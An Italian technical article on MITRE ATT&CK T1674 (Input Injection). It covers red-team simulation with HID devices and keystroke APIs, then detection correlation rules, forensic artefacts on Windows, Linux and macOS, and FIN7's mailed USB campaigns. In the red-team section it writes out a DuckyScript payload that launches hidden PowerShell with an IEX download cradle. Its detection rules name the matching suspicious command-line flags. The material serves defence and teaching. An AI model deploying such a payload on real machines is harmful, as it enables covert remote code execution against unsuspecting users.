Iniezione di Input: Input Injection (T1674)

Sul piano offensivo, la simulazione di Input Injection in un esercizio red team può seguire due filoni: hardware con dispositivi HID programmabili e software con injection diretta di eventi tastiera.

Sul fronte hardware, i dispositivi più diffusi in laboratorio sono USB Rubber Ducky di Hak5 (a pagamento) che utilizza il linguaggio DuckyScript, Bash Bunny (a pagamento) con capacità multi-payload, e alternative open source come Malduino o DigiSpark basate su ATtiny85 (open source, hardware low-cost). Il flusso tipico prevede la scrittura di un payload DuckyScript che apre una finestra Esegui, lancia PowerShell in modalità nascosta e scarica lo stage successivo:

DELAY 2000 GUI r DELAY 500 STRING powershell -w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('')" ENTER

Dopo la compilazione con l'encoder ufficiale, il payload viene flashato sul dispositivo e il tempo di esecuzione end-to-end si misura in 3-5 secondi dall'inserimento. Questo è il pattern replicato da FIN7 con chiavette USB inviate per posta a impiegati di aziende target, camuffate da regali promozionali.

Sul fronte software, in ambito Windows si possono usare API come SendInput o keybd_event dalla libreria user32.dll, richiamabili da PowerShell tramite Add-Type con firma P/Invoke. Il framework Nishang (open source) include moduli di keystroke injection utilizzabili in scenari post-exploitation, mentre PowerSploit (open source, non più mantenuto ma ancora funzionante) offre primitivi analoghi. Su Linux, il pacchetto xdotool (open source) consente injection nei server X11 con comandi come xdotool type e xdotool key, mentre in ambienti Wayland la situazione è più restrittiva e richiede ydotool (open source) che opera a livello uinput.

Su macOS, AppleScript e osascript permettono di sintetizzare tasti tramite System Events, ad esempio con tell application "System Events" to keystroke, sebbene le protezioni TCC richiedano consenso esplicito per Accessibility.

Per un red team ben strutturato, la fase di planning include la verifica che il target abbia porte USB attive, la profilazione della tastiera predefinita del sistema (layout QWERTY vs AZERTY influenza i payload) e la preparazione di un canale C2 resiliente come Mythic (open source) o Sliver (open source) per gestire lo stage post-injection.

La detection di Input Injection poggia su una correlazione multi-sorgente perché il singolo evento — l'inserimento di un dispositivo USB o l'esecuzione di uno script — è per sé stesso benigno. Il segnale nasce dalla sequenza temporale e dal contesto.

Su Windows, la telemetria chiave arriva dal WinEventLog:System con eventi di enumerazione dispositivi (Event ID 20001 del Device Setup Manager, 2003 e 2004 di UMDF) e dal WinEventLog:Security con Event ID 6416 per l'aggiunta di dispositivi plug-and-play. Il pattern sospetto è la comparsa di un nuovo dispositivo HID con VID/PID non presente nella whitelist aziendale, seguita entro pochi secondi da un processo powershell.exe o cmd.exe con parent process anomalo (tipicamente explorer.exe o userinit.exe) e command line contenente flag come -w hidden, -nop, -enc o IEX. Il WinEventLog:PowerShell con Event ID 4104 (Script Block Logging) diventa essenziale per catturare il contenuto dello script eseguito.

Un regola di correlazione efficace, esprimibile in Splunk o Elastic (freemium/a pagamento), collega l'evento di enumerazione USB con l'avvio di un interprete di script entro una finestra di 10 secondi, tenendo conto del ParentProcessWhitelist per ridurre falsi positivi da software di automazione legittimo.

Su Linux, auditd con syscall come execve e openat verso /sys/bus/usb/devices/ fornisce visibilità sull'enumerazione, mentre l'esecuzione di bash o python senza sessione interattiva associata (assenza di TTY, PPID = 1 o systemd) è un forte indicatore. Il threshold suggerito è meno di 10 secondi tra HID injection ed esecuzione script.

Su macOS, la unified log espone eventi di IOKit relativi a nuove connessioni HID (predicato subsystem == "com.apple.iokit") e va correlata con l'invocazione di osascript o sh da parte di processi non attesi. Il comando ioreg -p IOUSB consente enumerazione ad hoc durante triage.

Sul fronte prevenzione, i controlli D3FEND più rilevanti sono Peripheral Device Discovery e Process Spawn Analysis. Le fonti di falsi positivi tipiche includono software di presentazione (Logitech Spotlight), dispositivi KVM, tastiere programmabili di sviluppatori (StreamDeck) e strumenti di automazione desktop come AutoHotkey. Una whitelist di VID/PID autorizzati e la restrizione della detection alle finestre orarie fuori dall'attività lavorativa (ExecutionTimeWindow) migliorano sensibilmente la precisione delle regole.

L'indagine forense su Input Injection richiede la ricostruzione di una timeline stretta tra evento hardware ed esecuzione conseguente, con particolare attenzione agli artefatti di enumerazione dispositivi.

Su Windows, la chiave di registro HKLM\SYSTEM\CurrentControlSet\Enum\USB conserva traccia di tutti i dispositivi USB collegati, con sottochiavi che riportano VID, PID, serial number e timestamp di prima e ultima connessione (nel valore LastArrivalDate). La chiave parallela HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR copre lo storage, mentre HKLM\SYSTEM\CurrentControlSet\Enum\HID è specifica per dispositivi human interface e va analizzata prioritariamente in caso di sospetta injection. Il file C:\Windows\INF\setupapi.dev.log registra ogni installazione driver con timestamp preciso al millisecondo, spesso decisivo per correlare l'evento hardware con l'esecuzione di script.

Strumenti come USBDeview di NirSoft (gratuito), RegRipper (open source) e i plugin usbstor e usb di Volatility 3 (open source) per l'analisi memoria consentono l'estrazione strutturata. Su un'immagine forense, i file NTUSER.DAT di ogni utente vanno esaminati per UserAssist e ShellBags che possono mostrare l'esecuzione di eseguibili lanciati dal payload iniettato. Il PowerShell operational log (Microsoft-Windows-PowerShell/Operational) contiene gli Event ID 4104 con script block completi, fondamentali per ricostruire il payload.

Su Linux, journalctl con filtro _TRANSPORT=kernel rivela messaggi usb-storage e hid-generic con timestamp, VID/PID e serial. I log auditd in /var/log/audit/audit.log espongono le syscall execve immediatamente successive. La directory /var/log/syslog e i file rotati contengono conferma dell'attribuzione al bus USB. Su sistemi con Sysmon for Linux (open source), gli event ID 1 (process creation) e 11 (file create) arricchiscono la timeline.

Su macOS, la unified log accessibile via log show --predicate 'subsystem == "com.apple.iokit"' --last 24h fornisce dettagli sulla connessione HID. Il file /Library/Preferences/SystemConfiguration/preferences.plist e i database ~/Library/Application Support/com.apple.TCC/TCC.db rivelano eventuali autorizzazioni Accessibility concesse a processi che potrebbero aver eseguito injection software.

Dal punto di vista della catena di custodia, in caso di dispositivo USB fisicamente recuperato è essenziale l'acquisizione con write blocker e l'estrazione del firmware quando possibile, poiché dispositivi come Rubber Ducky mantengono il payload in memoria interna analizzabile con toolkit dedicati. La correlazione tra serial number del dispositivo trovato in setupapi.dev.log e il dispositivo fisico chiude il cerchio probatorio.

Nel panorama documentato per T1674, il profilo di riferimento è FIN7 (G0046), gruppo criminale a movente finanziario attivo da anni contro il settore retail, hospitality e finanziario. FIN7 ha integrato chiavette USB malevole nel proprio arsenale per emulare pressioni di tasti che lanciano PowerShell e scaricano malware dal server dell'attaccante. Questa TTP si inserisce in un modus operandi più ampio che il gruppo ha raffinato nel tempo, alternando phishing altamente personalizzato a vettori fisici quando il target ha superficie email difesa.

La scelta dell'USB come vettore riflette una precisa considerazione operativa: molte organizzazioni hanno investito pesantemente in filtri anti-phishing e sandbox email, ma trascurano il controllo dei dispositivi hardware. Le campagne attribuite al gruppo hanno visto pacchi postali contenenti chiavette camuffate da regali promozionali (buoni Best Buy, gadget aziendali) recapitati direttamente a dipendenti di aziende target, spesso ruoli HR o amministrativi con basso profilo tecnico e alta probabilità di curiosità nell'inserire il dispositivo. Il payload tipico esegue enumerazione preliminare del sistema, verifica appartenenza al dominio e in caso positivo scarica loader come Griffon o backdoor personalizzate della famiglia Carbanak, storicamente associate al gruppo.

Il pattern geografico di FIN7 è prevalentemente nordamericano ed europeo occidentale, con target concentrati in USA, Regno Unito, Germania e Francia. La motivazione è puramente finanziaria: furto di dati di carte di pagamento, compromissione POS e più recentemente estorsione tramite ransomware in partnership con affiliati di ecosistemi RaaS. Diverse analisi di threat intelligence hanno documentato sovrapposizioni operative con cluster ransomware come REvil, DarkSide e BlackMatter, suggerendo che membri o infrastruttura di FIN7 abbiano contribuito a queste operazioni.

Sul piano tattico, l'uso di Input Injection via HID rappresenta un'evoluzione dell'ingegneria sociale: sposta il punto di attacco dalla decisione consapevole (cliccare un allegato) all'azione fisica quasi automatica (inserire una chiavetta). Il trend osservato indica che gruppi criminali con budget significativo stanno adottando questo vettore per target ad alto valore, mentre attori state-sponsored lo riservano a scenari di accesso fisico opportunistico o supply chain hardware.

Per le organizzazioni ad alto rischio — finanza, difesa, sanità, energia — il caso FIN7 dimostra che la difesa contro T1674 richiede una combinazione di controlli hardware (disabilitazione USB, whitelist VID/PID), formazione mirata al personale non tecnico e monitoraggio comportamentale su endpoint. La linea di credito difensiva va spostata anche sulla logistica interna: gestione della posta in arrivo, ispezione di pacchi non richiesti, policy chiare sull'uso di dispositivi personali.

MITRE ATT&CK T1674 (Input Injection), tattica TA0002. Gruppo G0046 (FIN7). Mitigazioni M1034 (Limit Hardware Installation) e M1038 (Execution Prevention). Detection strategy DET0568 con analytics AN1567 (Windows), AN1568 (Linux), AN1569 (macOS). Framework difensivo MITRE D3FEND per Peripheral Device Discovery e Process Spawn Analysis. Contenuti tecnici su tool, comandi e artefatti forensi derivano da conoscenza professionale di cybersecurity verificata su documentazione ufficiale dei rispettivi progetti.